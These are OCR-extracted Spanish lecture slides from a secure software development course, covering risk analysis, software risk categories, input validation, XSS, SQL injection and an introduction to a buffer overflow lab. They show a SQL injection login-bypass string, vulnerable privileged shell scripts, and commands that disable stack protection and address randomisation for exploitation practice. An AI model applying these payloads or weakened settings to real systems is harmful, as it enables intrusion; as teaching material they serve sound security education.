[AW] CONCIENCIACION
[AD] ADMINISTRATIVAS

MISum
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Impacto y riesgo residual

 El conjunto de salvaguardas reducen la degradacion y la probabilidad de
las amenazas en funcion de la eficacia.

* Impacto residual: Impacto de las amenazas en los activos con las
salvaguardas. El valor de los activos es el mismo, pero ahora la
degradacion (residual) es menor. T

* Riesgo residual: Riesgo de las amena- ==
zas en los activos con las salvaguardas.
Tanto el impacto (residual) como la
probabilidad (residual) son menores.

. valor

n unaTierta , /'degradacién‘ \
. residual

a8 “impacto

\. residual )
{ ' riesgo'

. residual )

nacerta _/ ';r)robabilidaa

con
\ residual

tipo de activo

dimension |
amenaza

salvaguardas l
MISum
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Registro de Riesgos

Activo Amenaza/Vulnerabilidad Controles existentes | Probabilidad Impacto N|_veI de Pr|o_r|dad de
riesgo riesgo
Router Ataque de hackers externos | Solo contrasefa de Alta Medio Alto 1
administrador
Destruccion | Incendio accidental o Ninguno (sin plan de Baja Alto Alto 2

del centro de
datos

inundacion

recuperacion ante
desastres)

MISum




Alternativas de tratamiento de riesgo

« Aceptacion del riesgo
- Aceptar un nivel de riesgo mayor de lo normal por razones

comerciales | estudio de los riesgos | | revision periodica
» Evasion deriesgos l l
- No continuar con la actividad o el Sistema/software que crea w'puntodedecisién}ﬂ&
. monitorizacion continua
eSte ”eSgO- se estudia mejor

se trata

« Transferencia de riesgos
- Compartir la responsabilidad del riesgo con un tercero

estudio coste / beneficio |

OPCIONES:
H : * se evita
* Reducir las consecuencias - se mitiga:
. . . « se reduce la probabilidad
- Modificar la estructura o el uso de los activos en riesgo para __+ seacota el impacto
reducir el impacto en la organizacion en caso de que se e compare

produzca el riesgo.

* Reducir la probabilidad

- Implementar controles adecuados para reducir la posibilidad
de que la vulnerabilidad sea explotada

MISum
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Equilibrio

en el tratamiento del riesgo

MISum

Implement
treatment

Extreme

Judgement
needed

Risk level

Uneconomic

Low so accept

$ Cost of treatment $$5$$
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Caso de estudio: Silver Star Mines

« Ejemplo ficticio de una compafia minera

« Grandes infraestructuras de IT
- Software comun y especifico
- Algunos se relacionan directamente con la salud y la seguridad
- Sistemas que antes estaban aislados ahora estan conectados en red

« Se decide un enfoque combinado
« Sujeto a requisitos legales/reglamentarios

« La gerencia acepta un riesgo moderado o bajo
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Activos

Disponibilidad,
integridad y
confidencialidad de los
servicios de correo

Disponibilidad, integridad del
sistema de
mantenimiento/produccion

MISum

Fiabilidad e integridad de
los sistemas SCADA

Disponibilidad e
integridad del sistema de
adquisiciones

Integridad de la
informacion
almacenada de
archivos y bases de
datos

Disponibilidad e
integridad del sistema
financiero
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Registro de riesgo de Silver Star Miner Risk

Controles Nivel de Prioridad de
Activo Amenaza/Vulnerabilidad existentes Probabilidad Impacto riesgo riesgo

Fiabilidad e integridad de Modificacion no autorizada del Cortafuegos MB A 1
los sistemas SCADA sistema de control en capas

y servidores
Integridad de la informacién | Corrupcién, robo y pérdida de Cortafuegos, | A MA 2
almacenada de archivos y informacion politicas
bases de datos
Disponibilidad e integridad Ataques/errores que afectan al Cortafuegos, | A A 3
del sistema financiero sistema politicas
Disponibilidad e integridad Ataques/errores que afectan al Cortafuegos, | A A 4
del sistema de sistema politicas
adquisiciones
Disponibilidad e integridad Ataques/errores que afectan al Cortafuegos, | A M 5
del sistema de sistema politicas
mantenimiento/produccion
Disponibilidad, integridad y Ataques/errores que afectan al Cortafuegos, | MA A 6
confidencialidad de los sistema puerta de
servicios de correo enlace de

correo

exterior

MISul
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Contenidos

* Introduccion

« Gestion de la seguridad
« Contexto legal
« Cuestiones Organizativas

 Andlisis de riesgos
« Enfoques
« Terminologia
« Evaluacion del riesgo
« Ejemplo

« Analisis de riesgos de software
* Objetivos e importancia
« Categorias de riesgos de software
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Gestion de riesgos en el desarrollo de software

 La teoria anterior se centraba en la gestion de riesgos informaticos, pero
este curso trata sobre el desarrollo de software

« La mayor parte de la teoria anterior puede ser reutilizada en el campo del
desarrollo de software

« Desarrollo de software es un término que incluye muchas cosas como:
» Objetivos del proyecto

Documentacion

Requisitos

Backend

Frontend

MISum



Gestion de riesgos en el desarrollo de software

 La fusion de los términos anteriores hace que un proyecto de software sea
una tarea extremadamente compleja

* Es necesario adoptar un proceso de gestion de riesgos para identificar los
riesgos, predecir su impacto y mitigarlos

 Los principales objetivos son:
« ¢;Qué puede salir mal?
« ¢Por qué salié mal?
+ ¢ Cual es el impacto?
« ¢ COmo mitigar el impacto?
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Gestion de riesgos en el desarrollo de software

» La gestion de riesgos de un proyecto software es una de las tareas principales de un
Project Manager

« El riesgo en un proyecto es la posibilidad de que no se alcancen los objetivos
definidos

« Es la incapacidad de alcanzar los objetivos dentro de las limitaciones definidas de
coste, calendario y requisitos tecnicos

 Todos los proyectos tienen riesgos, especialmente los grandes proyectos de software
« La gestion de riesgos es el area que trata de garantizar que el impacto de los riesgos
sea minimo:
» Coste

e Calidad
« Calendario

MISum




Gestion de riesgos en el desarrollo de software

- La historia del desarrollo software esta llena de fallos (mayores o menores) que
aparecen porque los riesgos no fueron identificados y tratados propiamente)

» Los proyectos se salen del presupuesto
« Se retrasan
« Algunos se abandonan a mitad de camino

» Cualquier proyecto puede encontrar incertidumbres en el aumento de los costes, los
retrasos en los plazos y la disminucion de las calidades

« Si no se abordan, estas incertidumbres pueden provocar grandes desastres en el
proyecto.
 El software es una empresa dificil:
« Hay muchas cosas que pueden salir mal e incertidumbres

- Comprender los riesgos y tomar medidas proactivas para evitarlos (o gestionarlos) es un
elemento clave de una buena gestion de proyectos de software.
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Gestion de riesgos en el desarrollo de software

» El desarrollo de software abarca muchos componentes cruciales para el exito del proyecto
Definicion clara de los objetivos del proyecto

Documentacion exhaustiva

Especificacion detallada de los requisitos

Arquitectura backend robusta

 Disefio intuitivo del frontend

» Cada elemento conlleva su propio conjunto de riesgos que, Si no se gestionan, pueden poner
en peligro todo el proyecto:

Desalineacion de objetivos que provoque una mejora del alcance
Documentacion inadecuada que provogue lagunas de conocimiento
Requisitos ambiguos que provoguen un exceso de caracteristicas
Complejidad del backend que genera deuda técnica

Problemas de frontend que afectan a la experiencia del usuario
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Gestion de riesgos en el desarrollo de software

 El riesgo del software siempre implica dos caracteristicas:
1. Incertidumbre. El riesgo puede ocurrir o no; no hay riesgos 100% probables

2. Peérdida. Si el riesgo se hace realidad, se produciran consecuencias no deseadas o
pérdidas
« Cuando se analizan los riesgos, es importante
« Cuantificar el nivel de incertidumbre
 El grado de pérdida asociado a cada riesgo
« Considerar diferentes categorias de riesgos
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Gestion de Riesgos del Software

RISK -
MANAGEMENT
SOFTWARE
PROCESS

05
Generating
Reports

Monitoring
Results

MISum

High-Level
Risk Managment

according to ISO/IEC 27005

Context Establishment

...............................................................

 Risk Assessment Y

Risk Identification

Y

Risk Estimation

y

Risk Evaluation

y
Risk Treatment

' Additional

Y _ Threats |

Risk Acceptance o Assets

| and Component Risk

Software
Risk Assessment

Component Classification

Trust Domain
Reduction

Threat Modeling

Assessment

ISO/IEC 16805
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Categorias de riesgos de software

Riesgos de
Proyecto

Riesgos
predecibles e
impredecibles

Riesgos de
Producto

NOTA: Los riesgos pueden

tener solapamiento entre ellos
Riesgos Riesgos
Conocidos Técnicos
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Riesgos de Proyecto

 Los riesgos del proyecto amenazan el plan del proyecto. Si los riesgos se hacen

reales:
* Retrasos en el calendario
« Aumento de los costes
» Afectan al calendario o a los recursos del proyecto
» Los riesgos del proyecto identifican posibles problemas presupuestarios, de calendario,
de personal, de recursos, de partes interesadas y de requisitos, asi como su impacto
en un proyecto de software.
* Ejemplos:
« La pérdida de desarrolladores clave puede interrumpir la continuidad del proyecto
» Los retrasos en la integracion de servicios de terceros o APl pueden afectar a los plazos
» Errores de software imprevistos que requieren una refactorizacion significativa
« Cambios en la demanda del mercado que provocan cambios rapidos en el alcance del proyecto
Cambios en el cumplimiento normativo que afectan a los requisitos del proyecto
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Riesgos de Producto

« Losriesgos del producto influyen directamente en las funcionalidades
del software (calidad, rendimiento, ...) y en la satisfaccion del usuario.
. Ejemplos
» Incompatibilidad o mal funcionamiento de componentes de terceros
« Una estimacion erronea del tamano del software provoca una asignacion inadecuada
de recursos
« Los cambios en los requisitos obligan a rediseiar o volver a desarrollar el programa
« Rendimiento suboptimo de las herramientas CASE (Computer-Aided Software
Engineering) que ralentizan los procesos de desarrollo.
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Riesgos Técnicos

 Los riesgos tecnicos comprometen tanto la calidad como el calendario de entrega de

los productos de software
» Estos riesgos pueden obstaculizar o detener el proceso de implantacion:
» Disefio de software
* Procesos de implantacion
» Desarrollo de la interfaz de usuario
» Verificacion del sistema
« Mantenimiento continuo
 Factores de riesgo adicionales:
 Ambigiedades en las especificaciones del software
» Incertidumbres en la aplicacion de la tecnologia
» Rapida obsolescencia de las herramientas tecnologicas
» Riesgos asociados a la adopcion de tecnologias "de vanguardia” (cutting-edge)
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Riesgos Técnicos

» Los riesgos técnicos surgen cuando la resolucion de un problema es mas intrincada de lo
previsto
« Factores que producen el riesgo:
« Adopcion de tecnologias o algoritmos novedosos
 Integracion con hardware/software/bases de datos nuevos o no probados
« Implantacion de interfaces de usuario especializadas
* Riesgos metodologicos:
« Empleo de metodologias de analisis, disefio o pruebas no convencionales
 Riesgos de rendimiento:
« Limitaciones que pueden dar lugar a niveles de rendimiento inaceptables.
 Preocupaciones de las partes interesadas (stakeholders):
» Incertidumbres de los clientes respecto a la viabilidad técnica del proyecto
« Gestion de riesgos:
» Realizacion de estudios de viabilidad de nuevas tecnologias (pruebas de concepto)
» Prototipos de interfaces y evaluacion comparativa del rendimiento
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Riesgos de Empresa

 Los riesgos empresariales amenazan la viabilidad del software que se
va a construir, a menudo ponen en peligro el proyecto o el producto
« Afectan a la organizacion que desarrolla o adquiere el software
 Los cinco principales riesgos empresariales:
* No hay mercado para el producto (riesgo de mercado)
« El producto ya no encaja en el plan de negocio (riesgo estratégico)
« Salesforce no sabe como vender el producto (riesgo de ventas)
« Pérdida de apoyo de la direccion (riesgo de gestion)
« Pérdida de compromiso presupuestario o de personal (riesgo presupuestario)
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Riesgos Conocidos

* ldentificados tras una cuidadosa evaluacion del plan del
proyecto, el entorno empresarial y técnico en el que se
desarrolla el proyecto y otras fuentes de informacion fiables

* Ejemplos:

* Fecha de entrega poco realista
 Falta de requisitos documentados

* Falta de alcance del software
 Entorno de desarrollo deficiente
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Riesgos de Predecibles e Impredecibles

* Riesgos predecibles:
« Derivados de datos historicos y experiencias de proyectos
anteriores

« Algunos ejemplos comunes son:
 Altas tasas de rotacion de personal
« Comunicacion inadecuada con los clientes

* Riesgos impredecibles:
« Estos riesgos son intrinsecamente dificiles de prever
* Los sucesos son aleatorios y pueden tener repercusiones
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Contenidos

Introduccion
 Fortificacion de aplicaciones
» Fallos de seguridad
* Programacion defensiva
» Seguridad por disefio

Gestionando la entrada
» Ataques de inyeccion
» Codificaciones alternativas
* Validacion de la entrada numérica

Escribiendo codigo seguro
» Implementaciéon correcta del algoritmo
» Uso de instrucciones maquina adecuadas
* Interpretacion correcta de los datos
» Uso correcto de la memoria
« Condiciones de carrera
 Interaccion con el Sistema Operativo

Gestionando la salida
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Fortificacion de Aplicaciones

« Basico
+ Seguridad Fisica
- Copia de seguridad
- Fortificacion del Sistema Operativo

 Minimizar el nUmero de aplicaciones
- Principales aplicaciones
- Aplicaciones secundarias
- Guiado por las recomendaciones de seguridad
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Fortificacion de Aplicaciones

« Crear configuraciones seguras de programas
- Parte de configuraciones de referencia para crear configuraciones seguras

« Evite las contrasefas en blanco o contrasenas conocidas
 Instalar parches para todas las aplicaciones

 Minimizar los permisos de las aplicaciones

- Si un atague pone en peligro una aplicacion con pocos permisos, no pondra en
peligro el equipo
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Fortificacion de Aplicaciones

« Afnadir Autenticacion, Autorizacion y Auditoria a la capa de aplicacion
- Es mas especifico que los sistemas de login de los Sistemas Operativos

- Puede dar lugar a diferentes permisos para diferentes usuarios

* Implementar sistemas criptograficos

- Por ejemplo, para la comunicacion con los usuarios
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Securizacion de Aplicaciones Personalizadas

» Aplicaciones personalizadas
- Escrito por los programadores de una empresa

- Posiblemente no estén entrenados en buenas practicas de programacion segura

* El principio clave
« Nunca confiar en la entrada del usuario

- Filtrar la entrada del usuario en busca de contenido inapropiado
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Securizacion de Aplicaciones Personalizadas

« Ataques de Buffer Overflow
- Algunos lenguajes precisan de acciones especificas

- En otros lenguajes de programacion no suponen un mayor problema

« Atagues para evitar pantallas de Login

- Normalmente, un usuario antes de acceder a un recurso restringido tiene que
identificarse

- En lugar de iniciar sesion, introduce una URL para una pagina a la que solo deben
acceder los usuarios autorizados
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Securizacion de Aplicaciones Personalizadas

« Atagues Cross-Site Scripting (XSS)
+ Permite incluir cddigo malicioso, generalmente mediante scripts, en sitios webs

 Por lo general, se produce si un sitio web devuelve la informacion que se le envia sin
verificar el tipo de datos, scripts, etc.

- Ejemplo: Si escribes tu nombre de usuario, puede incluir algo como "Hola nombre de
usuario" en la pagina web que te lo envia
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Securizacion de Aplicaciones Personalizadas

* Ejemplo

- El atacante envia a la victima un mensaje de correo electronico con un enlace a un
sitio web legitimo

+ Sin embargo, el enlace incluye un script que sera enviado posteriormente a la pagina
web legitima

- Lavictima hace clic en el enlace y es llevada a la pagina web legitima

- El script es enviado al servidor web con un commando HTTP GET para recibir la
pagina web legitima
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Securizacion de Aplicaciones Personalizadas

* Ejemplo
- El servidor web devuelve una pagina web que incluye el script
- El script es invisible para el usuario (los navegadores no muestran scripts)
- El script se ejecuta

- El script puede explotar una vulnerabilidad en el navegador u otra parte del software
del usuario
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Securizacion de Aplicaciones Personalizadas

« Ataques de inyeccion SQL
- Atague que permite filtrar datos de una base de datos

- El programador espera un valor de entrada: una cadena de texto, un numero, etc.
- Puede usarlo como parte de una consulta u operacion SQL en la base de datos

- Puede aceptar un apellido como entrada y devolver el nimero de teléfono de la
persona
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Securizacion de Aplicaciones Personalizadas

« Ataques de inyeccion SQL
- El atacante introduce una cadena no validada
- Ejemplo: Un apellido seguido de una cadena de consulta SQL completa

- El programa puede ejecutar tanto el comando de busqueda de ndmero de
teléfono como la consulta SQL adicional

- Esto puede mostrar informacion que no deberia estar disponible para el atacante

- Incluso puede eliminar una tabla entera
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Securizacion de Aplicaciones Personalizadas

SELECT FROM Users WHERE
username="'boyle02’ AND
password="'whatever’ or 1l=1-';

Username: | boyle02 Username: | boyle02
Password: | 12345678 Password: | whatever’ or 1=1--
Normal Login SQL Injection
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Securizacion de Aplicaciones Personalizadas

« Debe requerir una solidaformacion en programacion segura
- Principios generales
- Informacion especifica del lenguaje de programacion

- Amenazas y contramedidas especificas de la aplicacion
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Fallos de seguridad

* Cinco fallos criticos relacionados con la seguridad del software
- Entrada no validada
- Cross-site scripting
- Buffer overflow
- Fallos de inyeccion
- Manejo inadecuado de errores

« Comprobacion vy validacion insuficientes

 El conocimiento de estos problemas es un paso inicial critico para escribir
codigo mas seguro

* Los desarrolladores software deben ser consciente de ello
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Programacion Defensiva

« Disenar e implementar software para que siga funcionando Iincluso
cuando esté bajo ataque

* Requiere atencion a todos los aspectos de la ejecucion del programa, el
entorno y el tipo de datos que procesa.

» El software es capaz de detectar condiciones errdneas resultantes de
algun ataque

« También se conoce como programacion segura

* La regla clave es nunca asumir nada, verificar todas las suposiciones y
manejar cualquier posible estado de error
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Programacion Defensiva

 Los programadores a menudo hacen suposiciones sobre el tipo de
entradas y el entorno en el que se ejecuta

« Se deben manejar los fallos

 Requiere un cambio de mentalidad a las practicas de programacion
tradicionales

* Los programadores tienen gue entender como pueden ocurrir los fallos y
los pasos necesarios para reducir la posibilidad de que ocurran en sus

programas

 Entra en conflicto con las presiones comerciales para mantener los
tiempos de desarrollo lo mas cortos posible
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Seqguridad por Diseino

« La seguridad y la confiabilidad son objetivos de diseiio comunes en la
mayoria de las disciplinas de ingenieria

 El desarrollo de software no esta tan maduro

* En los ultimos afnos se han incrementado los esfuerzos para mejorar los
procesos de desarrollo de software seguro

« Software Assurance Forum for Excellence in Code (SAFECode)

- Desarrolla publicaciones que describan las mejores practicas de la industria para el
aseguramiento del software y proporcionen consejos practicos para implementar
meétodos probados para el desarrollo seguro de software.
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Gestionando la entrada

El manejo incorrecto es un fallo muy comun

La entrada es cualquier fuente de datos externa y cuyo valor no es
conocido explicitamente por el programador cuando se escribid el codigo

Debe identificar todas las fuentes de datos

Validar explicitamente las suposiciones sobre el tamano y el tipo de
valores antes de su uso
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Tamano de la entrada y Buffer Overflow

 Los programadores a menudo hacen suposiciones sobre el tamano
maximo esperado de la entrada

- No se confirma el tamano del bufer asignado
- Resultando en buffer overflow

* Es posible que los test no identifiguen la vulnerabilidad

- Es poco probable que los test de entrada incluyan entradas Io
suficientemente grandes como para desencadenar el desbordamiento

 La codificacion segura trata todas las entradas como peligrosas
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Interpretacion de la entrada del programa

« La entrada del programa puede ser binaria o texto

 La interpretacion binaria depende de la codificacion y, por lo general, es
especifica de la aplicacion

 Se utiliza una variedad cada vez mayor de conjuntos de caracteres
* Si no se valida, puede producirse una vulnerabilidad explotable

 La vulnerabilidad Heartbleed Open SSL es un ejemplo reciente de un error
al comprobar la validez de un valor de entrada binario
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Ataques de inyeccion

 Fallos relacionados con el manejo no valido de los datos de entrada,
especificamente cuando los datos de entrada del programa pueden influir
accidental o deliberadamente en el flujo de ejecucion del programa

« La mayoria de las veces ocurren en lenguajes de scripting

- Fomentar la reutilizacion de otros programas Yy utilidades del sistema siempre
gue sea posible para ahorrar esfuerzo de codificacion
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Validacidon de la sintaxis de entrada

 ES necesario asegurarse de gue los datos de entrada se ajustan a lo
esperado y deben estar acordes al uso que se le va a dar posteriormente

* Los datos de entrada deben compararse con lo que se desea

« Una alternativa es comparar los datos de entrada con valores peligrosos
conocidos

« Al aceptar solo datos acordes a un formato esperado, es mas probable
gue el programa permanezca seguro
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Codificaciones alternativas

« Puede haber multiples opciones para codificar texto

* Creciente necesidad de dar soporte a los usuarios de todo el mundo e
Interactuar con ellos utilizando sus propios idiomas

« Unicode utilizado para la internacionalizacion
- Utiliza un valor de 16 bits para los caracteres
- UTF-8 codifica como secuencias de 1-4 bytes

- Muchos decodificadores Unicode aceptan cualquier secuencia equivalente
valida
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Codificaciones alternativas

« Canonizacion

- Transformacion de los datos de entrada en una representacion unica,
estandar y minima

- Una vez hecho esto, los datos de entrada se pueden comparar con una uUnica
representacion de valores de entrada aceptables

MISum



Validacion de la entrada numerica

* Problema adicional cuando los datos de entrada representan valores numericos

« Almacenado internamente en un valor de tamano fijo
- Enteros de 8, 16, 32 0 64 bits
- Los numeros de coma flotante dependen del procesador utilizado
- Los valores pueden ser con signo o sin signo

« Debe interpretar correctamente la forma del texto y procesarlo de manera
coherente
- Puede haber problemas comparando niermos con signo con nimeros sin signo

- Esto podria ser usado para saltarse las co probaciones contra buffer overflow
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Escribiendo co6digo seguro

« Otro aspecto fundamental de |la seguridad sogtware es el procesamiento
de los datos por algun algoritmo

* Los lenguajes de alto nivel suelen compilarse y linkarse en codigo
maquina, que luego es ejecutado directamente por el procesador

* Problemas de seguridad:
- Implementacion correcta del algoritmo
- Uso de instrucciones maguinas adecuadas
- Interpretacion correcta de datos
- Correcto uso de la memoria
- Condiciones de carrera
- Interaccion con el Sistema Operativo
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Implementacion correcta del algoritmo

« Carenciade buenas técnicas de desarrollo

- Es posible que el algoritmo no maneje correctamente todas las variantes
problematicas

- Como consecuencia podria aparecer un bug que podria ser aprogechado por
un atacante

- Los numeros de secuencia Iniciales utilizados por muchas
Implementaciones de TCP/IP son demasiado predecibles

- La combinacion del numero de secuencia como identificador y autenticador
de paquetes y el hecho de que no sean lo suficientemente impredecibles
permite que se produzca el ataque
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Implementacion correcta del algoritmo

 Otro fallo comun se produce cuando los programadores incluyen codigo
adicional en un programa para ayudar a probarlo y depurarlo

- Con demasiada frecuencia este codigo de depuracion se mantiene en las
releases de produccion y podria mostrar informacion inapropiada que podria
ser utilizada por un atacante

- Podria ocurrir que un usuario eluda los controles de seguridad y realice
acciones que de otro modo no se le permitiria realizar

- Esta vulnerabilidad fue explotada por el gusano Morris
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Uso de instrucciones maquina adecuadas

 Este problema es ignorado con frecuencia por los programadores

- Se assume que el compilador o el interprete genera o0 ejecuta las
Instrucciones de alto nivel de forma correcta y adecuada

« Requiere comparar el codigo de maquina con el cédigo fuente original
- Lento y dificil

 El desarrollo de sistemas informaticos con un nivel de seguridad muy alto
es el Unico ambito en el que se requiere este nivel de comprobacion

- Ejemplo, para pasar ciertas acreditaciones de Common Criteria es necesario
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Interpretacion correcta de datos

« Datos almacenados como bits/bytes en el ordenador
- Agrupados como words o longwords

- Se accede a ellos y se manipulan en la memoria o se copian en los
registros del procesador antes de ser utilizados

- La interpretacion depende de la instrucciones maquina ejecutadas

* Diferentes lenguajes proporcionan diferentes capacidades para restringir y
validar la interpretacion de los datos en las variables

 Los lenguajes fuertemente tipados son mas limitados pero mas seguros

+ Otros lenguajes (debilmente tipados) permiten una interpretacion mas libre

de los datos y permiten que el codigo del programa cambie explicitamente su
interpretacion

MISum



Correcto uso de la memoria

 Problema de la reserva dinamica de memoria
« Tamano desconocido

- Reservada cuando se necesita, liberada cuando el trabajo esta hecho
- Memory leak

- Reducciodn de la memoria disponible en el heap hasta el punto en que se
agota por completo

* Muchos lenguajes antiguos no tienen soporte explicito para la asignacion
dinamica de memoria

+ Uso de rutinas de biblioteca estandar para asignar y liberar memoria

 Los lenguajes modernos pueden manejarla automaticamente
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Condiciones de carrera

* Sin la sincronizacion en los accesos a los datos, es posible que los
valores se danen o gue se pierdan cambios debido

« Surgen al escribir codigo concurrent cuya solucion requiere la seleccion y
el uso correctos de primitivas de sincronizacion adecuadas

« Deadlock
- Los procesos 0 subprocesos esperan en un recurso que posee otro proceso
- Uno o0 mas programas tienen que ser matados para tener acceso al recurso
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Previniendo condiciones de carrera

 Es posible que los programas necesiten acceder a un recurso
comun del sistema

« Se necesitan mecanismos de sincronizacion adecuados
- La técnica mas comun es adquirir un cerrojo en el archivo compartido

 Lockfile

- El proceso debe crear y poseer el archivo de blogueo para obtener
acceso al recurso compartido
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Previniendo condiciones de carrera

- Posibles problemas

- SI un programa decide ignorar la existencia del archivo de blogueo y acceder
al recurso compartido, el sistema no lo impedira

- Todos los programas que utilicen esta forma de sincronizacion deben
cooperar

- Implementacion
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Interaccidon con el Sistema Operativo

 Los programas se ejecutan en equipos bajo el control de un sistema
operativo

- Media en el acceso a los recrusos
- Facilita un entorno de ejecucion

- Incluye variables de entorno y argumentos
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Interaccidon con el Sistema Operativo

 Los sistemas tienen un concepto de multiples usuarios

- Los recursos son propiedad de un usuario y tienen permisos que otorgan
acceso con varios derechos a diferentes categorias de usuarios

- Los programas necesitan acceso a varios recursos, sin embargo, los
pPermisos excesivos son peligrosos

- Preocupaciones cuando varios programas acceden a recursos compartidos,
Como un archivo comun
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Variables de entorno

« Coleccion de valores de cadena heredados por cada proceso de su
padre

- Puede afectar a la forma en que se comporta un proceso en ejecucion
- Son incluidas en la memoria cuando se ejecuta el proceso

* Puede ser modificado por el proceso en cualquier momento
- Las modificaciones se transmitiran a los hijos
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Variables de entorno

« Son consideradas como otra fuente de entrada que hay que validar antes
de usarla en los programas

* El uso mas comun es gque sea aprovechado por un atacante local para
realizar una escalada de privilegios

- El objetivo es explotar un programa que otorga privilegios de superusuario o
administrador
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Shell scripts vulnerables

#!/bin/bash
user="echo 351 |sed 's/Q@.*S//"
grep Suser /var/local/accounts/ipaddrs

(a) Example vulnerable privileged shell script

#!/bin/bash
PATH="/sbin:/bin:/usr/sbin:/usr/bin"
export PATH

user="echo S$1 |lsed Ys/@ xS/

grep Suser /var/local/accounts/ipaddrs

(b) Still vulnerable privileged shell script
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Uso del privilegio minimo

Escalada de privilegios
- La explotacion de vulnerabilidades puede dar al atacante mayores privilegios

Privilegios minimos
- Los programas deben tener los privilegios minimos necesarios para
ejecutarse correctamente

Determinar los privilegios de usuario y grupo adecuados
- Decidir si conceder privilegios de usuario adicional o solo de grupo

Hay que asegurarse de que el programa pueda modificar solo los archivos
y directorios necesarios
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Privilegios Root/Administrador

* Los programas con privilegios de root/administrador son uno de los
principales objetivos de los atacantes

 Proporcionan los mas altos niveles de acceso y control del sistema

- Son necesarios para administrar el acceso a los recursos protegidos del
sistema

« A menudo, el privilegio solo es necesario al principio
- A continuacion, se puede ejecutar como usuario normal
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Privilegios Root/Administrador

* Un buen diseno divide programas complejos en modulos mas pequenos
con los privilegios necesarios

- Proporciona un mayor grado de aislamiento entre los components
- Reduce las consecuencias de una brecha de seguridad en un componente

- Mas facil de probar y verificar
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Llamadas al sistema y la libreria estandar

« Los programas utilizan llamadas al sistema y la libreria estandar para
realizar operaciones comunes

* Los programadores hacen suposiciones sobre su funcionamiento

 Si se obtiene un comportamiento inadecuado que no es el esperado...
- Puede ser el resultado de la optimizacion del sistema para el acceso a los
recursos compartidos

- Da como resultado que las solicitudes de servicios se almacenen en bufer, se
vuelvan a secuenciar o se modifiguen de otro modo para optimizar el uso del

sistema
- Las optimizaciones pueden entrar en conflicto con los objetivos del programa
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Gestionando la salida

 Otro punto de vital importancia es la salida del programa

- Puede almacenarse para uso futuro, enviarse a través de la red, mostrarse,
etc

- Puede ser binaria o texto

« Desde el punto de vista de la seguridad del programa, es importante que
la salida se ajuste a la forma e interpretacion esperadas

 Los programas deben identificar cual es la salida permitida y filtrar
cualquier dato que no sea de confianza para garantizar que solo se
muestre una salida valida

« Se debe especificar el juego de caracteres
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Master en Ingenieria del Software

Disefio y Desarrollo de Software Seguro

Practica 1.1. Introduccion practica
a vulnerabilidades buffer overflow

Funcionamiento de la pila
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Prerequisitos

 Nos centraremos solamente en vulnerabilidades del tipo de
buffer overflow

* Herramientas necesarias que usaremos:
« Radare2. Suite de ingenieria inversa y exploiting

* Objdump. Herramienta para mostrar informacion sobre ficheros
objeto en sistemas Unix

« GCC. Suite de compiladores. La usaremos para compilar
programas en el lenguaje de programacion C
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Prerequisitos

« Se utilizard la imagen docker prevista para esta parte de la
asignatura

« Aungue si quereis probar en vuestro ordenador se necesitan los
siguientes requisitos:

« Usaremos una distribucion Linux. Se puede usar cualquiera, aunque
es preferible usar Ubuntu

« La mayoria de las distribuciones incluyen tanto GCC como objdump
« Si GCC no esté instalado (Ubuntu):

« sudo apt-get install build-essential
« sudo apt-get install gcc-multilib

 Si objdump no esta instalado (Ubuntu): sudo apt-get install binutils
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Prerequisitos

« Se utilizaralaimagen docker prevista para esta parte de la asignatura

« Aunque si queréeis probar en vuestro ordenador se necesitan

los siguientes requisitos:
« Para Instalar radare2 Iremos a su
github: https://qithub.com/radareorg/radare2

« Para instalar radare deberemos seqguir las instrucciones que aparecen
en github. Por lo general habra que ejecutar los siguientes comandos:

git clone https://github.com/radareorg/radare?2

radare2/sys/install.sh
 Una vez instalado, si tecleamos r2 desde la consola deberiamos ver
un mensaje de cOmo usar radare2
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https://github.com/radareorg/radare2

Prerequisitos

« Se utilizara la imagen docker prevista para esta parte de
la asignatura

« Aungque si queréis probar en vuestro ordenador se necesitan
los siguientes requisitos:

« pwntools: https://github.com/Gallopsled/pwntools
« ROPGardget: https://github.com/JonathanSalwan/ROPgadget
* ropper: https://github.com/sashs/Ropper

MISum :


https://github.com/Gallopsled/pwntools
https://github.com/JonathanSalwan/ROPgadget
https://github.com/sashs/Ropper

Prerequisitos

« La mayoria de los compiladores de las distribuciones actuales
Incorporan protecciones contra las vulnerabilidades buffer

overflow basicas
* Tendremos gue desactivar estas protecciones

 Para ello, cuando compilemos un programa usaremos la

siguiente linea de GCC
e gcc -m32 -fno-pie -no-pie -fno-stack-protector -z execstack fichero.c -0 programa

« También tendremos que desactivar la aleatorizacion del SO
» echo 0 > /proc/sys/kernel/randomize va space
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Organizacion y ejecucion de un proceso

e Estructura del espacio de OxCO000000
direcciones de un proceso —
_ _ ) OXBFFFFFFF
« El fichero objeto esta }
dividido en segmentos :
«La pila toma valores de
memaoria altOS y va Segmento de datossin inicializar
decrementando conforme
se van introduciendo nuevos Segmento de datos inicializados
VaIOreS Segmento de instrucciones ejecutables

0x00000000
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Organizacion y ejecucion de un proceso

* El heap se comporta al reves
que la pila. Toma valores
menores y se va
Incrementando en cada
Insercion

* El heap se emplea cuando se
reserva memoria dinamica

 Las variables definidas dentro
de un método sin memoria
dinamica hacen uso del stack

MISum
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0xC0000000

—

OXBFFFFFFF

Segmento de datossin inicializar
Segmento de datosinicializados

Segmento de instrucciones ejecutables

0x00000000
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Organizacion y ejecucion de un proceso

 La pila sigue una politica

LIFO (Last In, First Out).
Basicamente el ultimo dato
en entrar sera el primer dato
gue sera recuperado

* Pensar en una pila de platos

* Hay 2 Instrucciones

fundamentales para operar
con la pila: PUSHy POP

MISum
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Segmento de instrucciones ejecutables

0x00000000




Organizacion y ejecucion de un proceso

 La instruccion PUSH sirve introducir datos en el stack
 PUSH registro|valorlmemoria
* La instruccion POP se utiliza para recuperar datos del
stack
* POP registrojmemoria

» Registrados del procesador
* Reqgistros generales

 Flag de estado

* Registros de segmento
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Organizacion y ejecucion de un proceso

* Los registros varian dependiendo de la arquitectura de
destino e incluso dentro de una misma arquitectura

« RAX, EAX, AX...
* Registros generales

« Acumulador: RAX Contador: RCX

* Datos: RDX Base: RBX

* Puntero de la pila: RSP Puntero de la base de la pila: RBP
* Fuente: RSI Destino: RDI

 Puntero de instruccioéon: RIP
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Organizacion y ejecucion de un proceso

* Registros de segmento
e pila (SS), cadigo (CS), datos (DS), extra (ES, FS, GS)

* Registro de flags

« Carry (CF), Parity (PF), Adjust (AF), Zero (ZF), Sign (SF), Trap (F), Interruption
(IF), Direction (DF), Overflow (OF), I/0O Privilege Level (IOPL), Nested Task
(NT), Resume (RF), Virtual Mode (VM), Alignment Check (AC), Virtual Interrupt
